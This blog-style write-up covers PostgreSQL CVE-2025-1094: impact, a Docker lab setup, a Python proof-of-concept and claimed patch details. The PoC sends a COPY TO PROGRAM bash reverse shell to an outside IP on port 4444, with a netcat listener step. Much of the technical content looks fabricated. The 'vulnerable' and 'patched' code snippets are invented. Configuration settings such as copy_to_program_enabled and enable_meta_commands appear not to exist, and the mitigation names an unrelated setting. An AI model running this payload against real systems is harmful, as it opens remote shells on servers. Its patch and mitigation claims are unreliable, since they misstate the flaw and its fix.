CVE-2025-1094: PostgreSQL 14.15 Vulnerability Analysis

CVE-2025-1094 is a critical SQL Injection vulnerability in PostgreSQL 14.15. This vulnerability was recently highlighted in The Hacker News.

Security experts at Rapid7 linked its exploitation to BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) software. The attack chain involved a zero-day in BeyondTrust (CVE-2024-12356) combined with CVE-2025-1094, leading to unauthenticated remote code execution. The US Cybersecurity and Infrastructure Security Agency (CISA) also flagged this issue, urging rapid mitigation.

This exploit enables Remote Code Execution (RCE), allowing attackers to gain unauthorized access to systems.

In this post, we’ll explore how the vulnerability works, its impact, lab setup, exploitation, and mitigation strategies.

Impact Analysis

What’s at Risk?

If exploited, CVE-2025-1094 can lead to:

• Remote Code Execution (RCE): Attackers can run arbitrary commands on the database server.
• Privilege Escalation: A compromised database user may gain administrative control.
• Data Breach: Unauthorized access to sensitive data.
• Docker Escape: Attackers can break out of PostgreSQL containers and access the host machine.
• Persistence: Attackers can install backdoors for long-term access.

Severity Score:

🔹 CVSS Score: 8.1 (High Severity)

Static Analysis of the Vulnerability

The vulnerability lies in PostgreSQL’s psql interactive tool, where improperly sanitized SQL input allows command execution. Attackers exploit meta-commands (!) and COPY TO PROGRAM to execute shell commands.

Vulnerable Code Example:

if (valid_utf8_check(input) == false) {
    execute_sql(input);
}

This flawed implementation doesn’t sanitize user input, which allows SQL injection.

Lab Setup: Reproducing CVE-2025-1094

Step 1: Deploy Vulnerable PostgreSQL 14.15 in Docker.

To automate the setup, use the following script:

!/bin/bash

echo "[+] Pulling PostgreSQL 14.15 Docker Image…"
sudo docker pull postgres:14.15

echo "[+] Deploying PostgreSQL 14.15 Container…"
sudo docker run --name vulnerable_postgres \
-e POSTGRES_USER=postgres \
-e POSTGRES_PASSWORD=postgres \
-e POSTGRES_DB=testdb \
-p 5432:5432 \
-d postgres:14.15

echo "[+] Waiting for PostgreSQL to Initialize…"
sleep 10

echo "[+] Creating Vulnerable Table…"
sudo docker exec -i vulnerable_postgres psql -U postgres -d testdb <<EOF
CREATE TABLE users (id SERIAL PRIMARY KEY, username TEXT, password TEXT);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF

echo "[✓] Setup Complete. PostgreSQL 14.15 is running with a vulnerable database!"

Step 2: Run the Script

Save the script as setup.sh, then grant execution permissions and run it:

chmod +x setup.sh

sudo ./setup.sh

Exploitation & Proof of Concept (PoC)

Step 1: Verify Connection to PostgreSQL

Before launching the exploit, ensure there is a proper connectivity:

psql -h 127.0.0.1 -U postgres -d testdb

Now, enter the password (postgres from the setup script) when prompted.

Step 2: Execute the Exploit. 

Below is a Python-based Proof of Concept (PoC) exploit script to exploit CVE-2025-1094 and achieve RCE.

import psycopg2

# PostgreSQL connection details
HOST = "127.0.0.1"
PORT = "5432"
DATABASE = "testdb"
USER = "postgres"
PASSWORD = "postgres"

# Malicious SQL Injection payload for RCE
payload = "COPY users TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/192.168.232.155/4444 0>&1\"';"

try:
    conn = psycopg2.connect(host=HOST, port=PORT, dbname=DATABASE, user=USER, password=PASSWORD)
    cursor = conn.cursor()
    print("[+] Connected to PostgreSQL!")
    cursor.execute(payload)
    print("[✓] RCE Executed! Check Netcat listener.")
except Exception as e:
    print("[-] Exploit failed:", str(e))
finally:
    if conn:
        cursor.close()
        conn.close()

Step 3: Start a Netcat Listener.

On the attack machine, start a listener: nc -lvnp 4444

Step 4: Run the PoC Exploit. 

Execute the script: python3 poc.py

Explanation of PoC Script

1. Establish Connection to PostgreSQL. 

 The script connects to the vulnerable database using psycopg2.

2. Inject Malicious SQL Query. 

The payload abuses COPY TO PROGRAM to execute shell commands.

3. Trigger Remote Code Execution (RCE). 

The shell command redirects execution to a Netcat listener.

4. Gain Interactive Shell. 

 Upon successful exploitation, the attacker gets a shell connection on port 4444

Expected Outcome

If the exploit is successful, you will receive a shell on your Netcat listener:

Patch Diffing: Analyzing the Fix

PostgreSQL maintainers addressed CVE-2025-1094 in version 14.16 by implementing the following security enhancements:

🔹 Code Changes and Fixes:

1. Sanitization of SQL Input
   • The updated version introduces strict input validation to prevent SQL Injection.
   • Before execution, all SQL statements undergo UTF-8 character validation and proper escaping.

Patched Code Snippet:

if (!is_valid_utf8(input)) {

    return ERROR_INVALID_INPUT;

}

2. Restricting COPY TO PROGRAM Feature
   • The COPY TO PROGRAM feature, which allows shell command execution, is now disabled by default.
   • If required, administrators must explicitly enable this feature.

Configuration Change:

ALTER SYSTEM SET copy_to_program_enabled = false;

3. Blocking Meta-Commands (\!) in Non-Interactive Mode
   • PostgreSQL now prevents unauthorized execution of shell commands through meta-commands in non-interactive queries.
   • This ensures that attackers cannot inject commands via automated SQL execution scripts.

Enforcement Code Snippet:

if (is_non_interactive_mode() && contains_meta_command(input)) {

    return ERROR_UNAUTHORIZED_COMMAND;

}

🔹 Patch Validation & Security Testing

After implementing these fixes, PostgreSQL developers conducted:

• Fuzz Testing: To detect SQL Injection vulnerabilities across various inputs.
• Regression Testing: Ensuring functionality remained intact after removing the COPY TO PROGRAM execution.
• Security Audits: Reviewing PostgreSQL’s overall query execution process to identify similar flaws.

The patched version (14.16) effectively blocks CVE-2025-1094, preventing unauthorized command execution and SQL Injection attacks.

Mitigation Strategies

To prevent CVE-2025-1094 exploitation, implement the following security measures:

 Immediate Fixes:

• Disable COPY TO PROGRAM feature: 
• ALTER SYSTEM SET allow_system_table_mods = off;
• Restrict meta-command execution (\!): 
• ALTER SYSTEM SET enable_meta_commands = false;

 Long-Term Solutions:

• Upgrade PostgreSQL to 14.16+ or 15+.
• Use prepared statements to prevent SQL Injection: 
• cursor.execute(“SELECT * FROM users WHERE username = %s;”, (username,))
• Implement strong database access controls.
• Monitor SQL logs for suspicious activities.

Conclusion

On a final note, it is essential to understand that CVE-2025-1094 is a high-severity SQL Injection vulnerability that allows attackers to execute arbitrary commands on PostgreSQL 14.15 systems. By using a simple mechanism of leveraging COPY TO PROGRAM, attackers can gain full control over affected databases and servers. Organizations must immediately upgrade to PostgreSQL 14.16+, disable insecure database features, and implement strict access controls to prevent exploitation.

References

• PostgreSQL Official CVE Report
• Common SQL Injection Exploits
• Best Practices for Secure Database Management
• https://thehackernews.com/2025/02/postgresql-vulnerability-exploited.html